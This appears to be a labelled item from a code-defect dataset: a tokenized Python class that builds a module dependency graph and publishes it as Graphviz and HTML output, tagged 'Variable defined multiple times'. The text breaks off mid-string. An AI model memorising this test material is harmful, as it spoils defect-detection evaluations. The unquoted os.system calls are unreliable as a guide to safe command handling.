[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "class_", "protocol_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "graph_", ",_", "mods_", ",_", "folder_", ",_", "doc_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "untr", "ust", "me", "1_", "=_", "list_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "untr", "ust", "me", "2_", "=_", "list_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dbg", "str_", "(_", "'", "Initializ", "ing", " ", "protoc", "ol", " ", "with", " ", "root", ":", " ", "'_", "+_", "folder_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "metaf", "older_", "=_", "folder_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "rootdir_", "=_", "os_", "._", "getcwd_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "res", "map_", "=_", "dict_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "doc_", "=_", "doc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "graph", "res_", "=_", "resource_", "(_", "'", "graph", "'_", ",_", "os_", "._", "path_", "._", "join_", "(_", "folder_", ",_", "'", "graph", ".", "grp", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "untr", "ust", "me", "1_", "=_", "self_", "._", "\\u", "update", "Graph_", "(_", "graph_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "res_", "in_", "self_", "._", "\\u", "get", "Res", "Names_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "newre", "s_", "=_", "resource_", "(_", "res_", ",_", "folder_", "+_", "'/'_", "+_", "res_", "+_", "'.", "res", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "print", " ", "res", ",", " ", "newre", "s_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "add", "Resource_", "(_", "res_", ",_", "newre", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "mod_", "in_", "self_", "._", "\\u", "get", "Node", "Names_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "newre", "s_", "=_", "resource_", "(_", "mod_", ",_", "folder_", "+_", "'/'_", "+_", "mod_", "+_", "'.", "mod", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "modules_", "[_", "mod_", "]_", "=_", "newre", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "untr", "ust", "me", "2_", "=_", "self_", "._", "\\u", "update", "Modules_", "(_", "mods_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "mod_", "in_", "untr", "ust", "me", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "untr", "ust", "_", "(_", "mod_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "mod_", "in_", "untr", "ust", "me", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "untr", "ust", "_", "(_", "mod_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "protocol_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "update_", "(_", "self_", ",_", "graph_", ",_", "mods_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "untr", "ust", "me", "1_", "=_", "list_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "untr", "ust", "me", "2_", "=_", "list_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dbg", "str_", "(_", "'", "New", " ", "graph", " ", "is", ":", " ", "'_", "+_", "str_", "(_", "graph_", ")_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dbg", "str_", "(_", "'", "New", " ", "mod", "s", " ", "are", ":", " ", "'_", "+_", "str_", "(_", "mods_", ")_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "untr", "ust", "me", "1_", "=_", "self_", "._", "\\u", "update", "Graph_", "(_", "graph_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "untr", "ust", "me", "2_", "=_", "self_", "._", "\\u", "update", "Modules_", "(_", "mods_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "mod_", "in_", "untr", "ust", "me", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "untr", "ust", "_", "(_", "mod_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "mod_", "in_", "untr", "ust", "me", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "untr", "ust", "_", "(_", "mod_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "protocol_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "publish_", "(_", "self_", ",_", "ofile_", ",_", "odi", "r_", "=_", "''_", ",_", "layout_", "=_", "'", "LR", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Publish", " ", "the", " ", "protoc", "ol", " ", "to", " ", "a", " ", "HTM", "L", " ", "file", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "textwrap_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "._", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ona", "me_", "=_", "ofile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "odi", "r_", "==_", "''_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "odi", "r_", "=_", "'", "html", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "exists_", "(_", "odi", "r_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "mkdir_", "(_", "odi", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "fullname_", "=_", "os_", "._", "path_", "._", "join_", "(_", "odi", "r_", ",_", "ofile_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "ofi", "le", " ", "=", " ", "os", ".", "path", ".", "join", "(", "self", ".\\u", "metaf", "older", ",", " ", "ofi", "le", ")_", "\\u\\u\\uNL\\u\\u\\u_", "f_", "=_", "open_", "(_", "fullname_", "+_", "'.", "dot", "'_", ",_", "'", "w", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "write_", "(_", "'", "digraph", " ", "G", " ", "{\\\\", "n", "'_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "'", "graph", " ", "[", "size", "=\"", "20", ",", " ", "20", "\"]", ";\\\\", "n", "'_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "'", "node", " ", "[", "shape", "=", "box", ",", " ", "style", "=", "rounded", "];", "'_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "'", "rank", "dir", "='_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "TB", "'_", "if_", "layout_", "._", "lower_", "(_", ")_", "==_", "'", "tb", "'_", "else_", "'", "LR", "'_", ")_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "';", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "idx_", ",_", "node_", "in_", "enumerate_", "(_", "self_", "._", "\\u", "get", "Graph_", "(_", ")_", "._", "get", "Nodes_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "._", "write_", "(_", "str_", "(_", "node_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "docstr", "_", "=_", "inspect_", "._", "getd", "oc_", "(_", "self_", "._", "\\u", "modules_", "[_", "node_", "]_", "._", "get", "Value_", "(_", ")_", ")_", "if_", "type_", "(_", "self_", "._", "\\u", "modules_", "[_", "node_", "]_", "._", "get", "Value_", "(_", ")_", ")_", "==_", "type_", "(_", "inspect_", "._", "getd", "oc_", ")_", "else_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "\\u", "is", "File", "Mod_", "(_", "node_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "shape_", "=_", "'", "note", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "\\u", "is", "Available_", "(_", "node_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "content_", "=_", "self_", "._", "\\u", "get", "Resource_", "(_", "node_", ")_", "._", "get", "Value_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "content_", ",_", "tuple_", ")_", "or_", "isinstance_", "(_", "content_", ",_", "list_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "output", "\\u", "line_", "=_", "'\\\\", "t", "\\\\", "t", "<", "td", " ", "href", "=\"'_", "+_", "'(", "multiple", ")'_", "+_", "'\">", "<", "font", " ", "POINT", "-", "SIZE", "=\"", "8", "\">", "<", "u", ">", "output", "</", "u", "><", "/", "font", "><", "/", "td", ">\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "output", "\\u", "line_", "=_", "'\\\\", "t", "\\\\", "t", "<", "td", " ", "href", "=\"'_", "+_", "content_", "+_", "'\">", "<", "font", " ", "POINT", "-", "SIZE", "=\"", "8", "\">", "<", "u", ">", "output", "</", "u", "><", "/", "font", "><", "/", "td", ">\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "output", "\\u", "line_", "=_", "'\\\\", "t", "\\\\", "t", "<", "td", "><", "font", " ", "POINT", "-", "SIZE", "=\"", "8", "\">", "<", "u", ">", "not", " ", "bui", "lt", "</", "u", "><", "/", "font", "><", "/", "td", ">\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "output", "\\u", "line_", "=_", "'\\\\", "t", "\\\\", "t", "<", "td", "><", "/", "td", ">\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shape_", "=_", "'", "box", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "f_", "._", "write_", "(_", "'[", "shape", " ", "=", " ", "'_", "+_", "shape_", "+_", "',", " ", "label", " ", "=", " ", "<<", "table", " ", "border", "=\"", "0", "\">", "\\\\", "n", "'_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "'\\\\", "t", "<", "tr", ">\\\\", "n", "'_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "'\\\\", "t", "\\\\", "t", "<", "td", " ", "colsp", "an", "=\"", "2", "\">", "<", "B", ">'_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "get", "Graph_", "(_", ")_", "._", "get", "Attrib", "_", "(_", "node_", ",_", "'", "label", "'_", ")_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "'<", "/", "B", "><", "/", "td", ">\\\\", "n", "'_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "'\\\\", "t", "</", "tr", ">\\\\", "n", "'_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "'\\\\", "t", "<", "tr", ">\\\\", "n", "'_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "'\\\\", "t", "\\\\", "t", "<", "td", " ", "colsp", "an", "=\"", "2", "\"", " ", "align", " ", "=", " ", "\"", "left", "\">", "<", "font", " ", "POINT", "-", "SIZE", "=\"", "10", "\">'_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'-'_", "if_", "docstr", "_", "==_", "None_", "else_", "textwrap_", "._", "fill_", "(_", "docstr", "_", ",_", "30_", ")_", ")_", "._", "replace_", "(_", "'\\\\", "n", "'_", ",_", "'<", "br", "/>'_", ")_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "'<", "/", "font", "><", "/", "td", ">\\\\", "n", "'_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "'\\\\", "t", "</", "tr", ">\\\\", "n", "'_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "'\\\\", "t", "<", "tr", ">\\\\", "n", "'_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "'\\\\", "t", "\\\\", "t", "<", "td", " ", "href", "=\"", "#'_", "+_", "node_", "+_", "'\\u", "deta", "il", "s", "\">", "<", "font", " ", "POINT", "-", "SIZE", "=\"", "8", "\">", "<", "u", ">", "deta", "il", "s", "</", "u", "><", "/", "font", "><", "/", "td", ">\\\\", "n", "'_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "output", "\\u", "line_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "'\\\\", "t", "</", "tr", ">\\\\", "n", "'_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "'<", "/", "table", ">>", "]\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "node_", "in_", "self_", "._", "\\u", "get", "Graph_", "(_", ")_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "ono", "de_", "in_", "self_", "._", "\\u", "get", "Graph_", "(_", ")_", "[_", "node_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "._", "write_", "(_", "node_", "+_", "'", " ", "->", " ", "'_", "+_", "ono", "de_", "+_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "f_", "._", "write_", "(_", "'}'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "=_", "os_", "._", "system_", "(_", "'", "dot", " ", "-", "s1", "60", " ", "-", "Tc", "map", "x", " ", "-", "o", "'_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "fullname_", "+_", "'.", "map", " ", "-", "Tg", "if", " ", "-", "o", "'_", "+_", "fullname_", "+_", "'.", "gif", " ", "'_", "+_", "fullname_", "+_", "'.", "dot", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "=_", "os_", "._", "system_", "(_", "'", "dot", " ", "-", "Tp", "df", " ", "-", "o", "'_", "+_", "fullname_", "+_", "'.", "pdf", " ", "'_", "+_", "fullname_", "+_", "'.", "dot", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "t_", "!=_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Name", "Error_", "(_", "'", "Problems", " ", "runn", "ing", " ", "dot", ":", " ", "have", " ", "you", " ", "install", "ed", " ", "it", "?'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "html", "\\u", "header_", "=_", "\"\"\"", "\\", "10", ";<", "!", "DOC", "TYPE", " ", "html", " ", "PUBLIC", " ", "\"-", "//", "W3", "C", "//", "DT", "D", " ", "XH", "TML", " ", "1.0", " ", "Stri", "ct", "//", "EN", "\"", " ", "\"", "http", "://", "www", ".", "w3", ".", "org", "/", "TR", "/", "xh", "tml", "1", "/", "DT", "D", "/", "xh", "tml", "1", "-", "strict", ".", "dtd", "\">", "\\", "10", ";<", "html", " ", "xml", "ns", "=\"", "http", "://", "www", ".", "w3", ".", "org", "/", "1999", "/", "xh", "tml", "\">", "\\", "10", ";<", "head", ">", "\\", "10", ";<", "title", ">\"\"\"_", "+_", "ona", "me_", "+_", "\"\"\"", "</", "title", ">", "\\", "10", ";<", "meta", " ", "http", "-", "equiv", "=\"", "Conten", "t", "-", "Lang", "ua", "ge", "\"", " ", "content", "=\"", "Eng", "lish", "\"", " ", "/>", "\\", "10", ";<", "meta", " ", "http", "-", "equiv", "=\"", "Conten", "t", "-", "Type", "\"", " ", "content", "=\"", "text", "/", "html", ";", " ", "charset", "=", "UT", "F", "-", "8", "\"", " ", "/>", "\\", "10", ";<", "link", " ", "rel", "=\"", "stylesheet", "\"", " ", "type", "=\"", "text", "/", "css", "\"", " ", "href", "=\"", "style", ".", "css", "\"", " ", "media", "=\"", "screen", "\"", " ", "/>", "\\", "10", ";<", "/", "head", ">", "\\", "10", ";<", "body", ">", "\\", "10", ";", "\\", "10", ";<", "div", " ", "id", "=\"", "wrap", "\">", "\\", "10", ";<", "div", " ", "id", "=\"", "top", "\">", "</", "div", ">", "\\", "10", ";<", "div", " ", "id", "=\"", "content", "\">", "\\", "10", ";", "\\", "10", ";<", "div", " ", "class", "=\"", "header", "\">", "\\", "10", ";<", "a", " ", "href", "=\"", "index", ".", "html", "\">", "<", "img", " ", "src", "=\"", "leaf", ".", "png", "\">", "</", "a", ">", "\\", "10", ";<", "br", "><", "br", "><", "br", "><", "br", "><", "br", ">", "\\", "10", ";<", "/", "div", ">", "\t", "\\", "10", ";", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "html", "\\u", "footer_", "=_", "\"\"\"", "\\", "10", ";<", "/", "body", ">", "\\", "10", ";<", "/", "html", ">", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "f_", "=_", "open_", "(_", "fullname_", "+_", "'.", "html", "'_", ",_", "'", "w", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "write_", "(_", "html", "\\u", "header_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "write_", "(_", "'<", "div", " ", "class", "=\"", "breadcrumb", "s", "\">", "<", "h1", ">'_", "+_", "ona", "me_", "+_", "'<", "/", "h1", "><", "/", "div", "><", "div", " ", "class", "=\"", "middle", "\">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "write_", "(_", "'<", "h2", ">", "Project", " ", "Summ", "ary", "</", "h2", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "write_", "(_", "'<", "div", " ", "style", "=\"", "widt", "h", ":", " ", "90", "%", "\">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "self_", "._", "\\u", "doc_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "._", "write_", "(_", "'<", "b", ">", "Descripti", "on", ":", "</", "b", ">", " ", "'_", "+_", "self_", "._", "\\u", "doc_", "+_", "'<", "br", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "f_", "._", "write_", "(_", "'<", "b", ">", "Number", " ", "of", " ", "Modul", "es", ":", "</", "b", ">", " ", "'_", "+_", "str_", "(_", "len_", "(_", "self_", "._", "\\u", "get", "Graph_", "(_", ")_", ")_", ")_", "+_", "'<", "br", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "write_", "(_", "'<", "b", ">", "Number", " ", "of", " ", "Output", " ", "module", "s", ":", "</", "b", ">", " ", "'_", "+_", "str_", "(_", "sum_", "(_", "[_", "self_", "._", "\\u", "is", "File", "Mod_", "(_", "node_", ")_", "for_", "node_", "in_", "self_", "._", "\\u", "get", "Graph_", "(_", ")_", "._", "get", "Nodes_", "(_", ")_", "]_", ")_", ")_", "+_", "'<", "br", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "write_", "(_", "'<", "b", ">", "Total", " ", "CPU", " ", "time", " ", "require", "d", ":", "</", "b", ">", " ", "'_", "+_", "self_", "._", "\\u", "reada", "ble", "time_", "(_", "sum_", "(_", "[_", "self_", "._", "\\u", "res", "map_", "[_", "x_", "]_", "._", "\\u", "build", "time_", "for_", "x_", "in_", "self_", "._", "\\u", "res", "map_", "]_", ")_", ")_", "+_", "'<", "br", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "write_", "(_", "'<", "/", "div", "><", "br", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "write_", "(_", "'<", "h2", ">", "Proto", "col", " ", "map", "</", "h2", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "write_", "(_", "'<", "div", " ", "align", " ", "=", " ", "\"", "center", "\">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "write_", "(_", "'<", "IMG", " ", "SR", "C", "=\"'_", "+_", "ona", "me_", "+_", "'.", "gif", "\"", " ", "USE", "MAP", "=\"", "#", "G", "\"", " ", "/>", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "write_", "(_", "'<", "/", "div", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "map_", "=_", "open_", "(_", "fullname_", "+_", "'.", "map", "'_", ")_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "write_", "(_", "map_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "f_", "._", "write_", "(_", "'<", "h2", ">", "Modul", "es", "'_", "'", " ", "deta", "il", "s", "<", "h2", ">\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "idx_", ",_", "node_", "in_", "enumerate_", "(_", "self_", "._", "\\u", "get", "Graph_", "(_", ")_", "._", "get", "Nodes_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "._", "write_", "(_", "'<", "h", "3", "><", "a", " ", "name", "=\"'_", "+_", "str_", "(_", "node_", ")_", "+_", "'\\u", "deta", "il", "s", "\">'_", "+_", "str_", "(_", "node_", ")_", "+_", "'<", "/", "a", "><", "/", "h", "3", ">\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "docstr", "_", "=_", "inspect_", "._", "getd", "oc_", "(_", "self_", "._", "\\u", "modules_", "[_", "node_", "]_", "._", "get", "Value_", "(_", ")_", ")_", "if_", "type_", "(_", "self_", "._", "\\u", "modules_", "[_", "node_", "]_", "._", "get", "Value_", "(_", ")_", ")_", "==_", "type_", "(_", "inspect_", "._", "getd", "oc_", ")_", "else_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "docstr", "_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "._", "write_", "(_", "'[", "documentation", " ", "not", " ", "avail", "able", "]'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "._", "write_", "(_", "docstr", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "self_", "._", "\\u", "res", "map_", "[_", "node_", "]_", "._", "\\u", "timestamp_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tsta", "mp_", "=_", "self_", "._", "\\u", "res", "map_", "[_", "node_", "]_", "._", "\\u", "timestamp_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bt", "ime_", "=_", "self_", "._", "\\u", "res", "map_", "[_", "node_", "]_", "._", "\\u", "build", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tsta", "mp_", "=_", "'", "neve", "r", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bt", "ime_", "=_", "'", "uk", "nk", "now", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "f_", "._", "write_", "(_", "'<", "br", "><", "br", ">", "Las", "t", " ", "build", " ", "was", " ", "on", " ", "'_", "+_", "tsta", "mp_", "+_", "'.", "<", "br", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "write_", "(_", "'", "Time", " ", "it", " ", "too", "k", ":", " ", "'_", "+_", "str_", "(_", "self_", "._", "\\u", "reada", "ble", "time_", "(_", "bt", "ime_", ")_", ")_", "+_", "'.", "<", "br", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "f_", "._", "write_", "(_", "'<", "div", " ", "class", "=\"", "code", "\">", "<", "pre", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "src", "code_", "=_", "inspect_", "._", "gets", "ource_", "(_", "self_", "._", "\\u", "modules_", "[_", "node_", "]_", "._", "get", "Value_", "(_", ")_", ")_", "if_", "type_", "(_", "self_", "._", "\\u", "modules_", "[_", "node_", "]_", "._", "get", "Value_", "(_", ")_", ")_", "==_", "type_", "(_", "inspect_", "._", "getd", "oc_", ")_", "else_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "write_", "(_", "src", "code_", "._", "replace_", "(_", "'\\\\", "n", "'_", ",_", "'<", "br", ">'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "write_", "(_", "'<", "/", "pre", "><", "/", "div", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "write_", "(_", "'<", "hr", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "f_", "._", "write_", "(_", "'<", "div", " ", "id", "=\"", "footer", "\">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "write_", "(_", "'<", "br", "><", "br", "><", "i", ">", "Automat", "ical", "ly", " ", "generat", "ed", 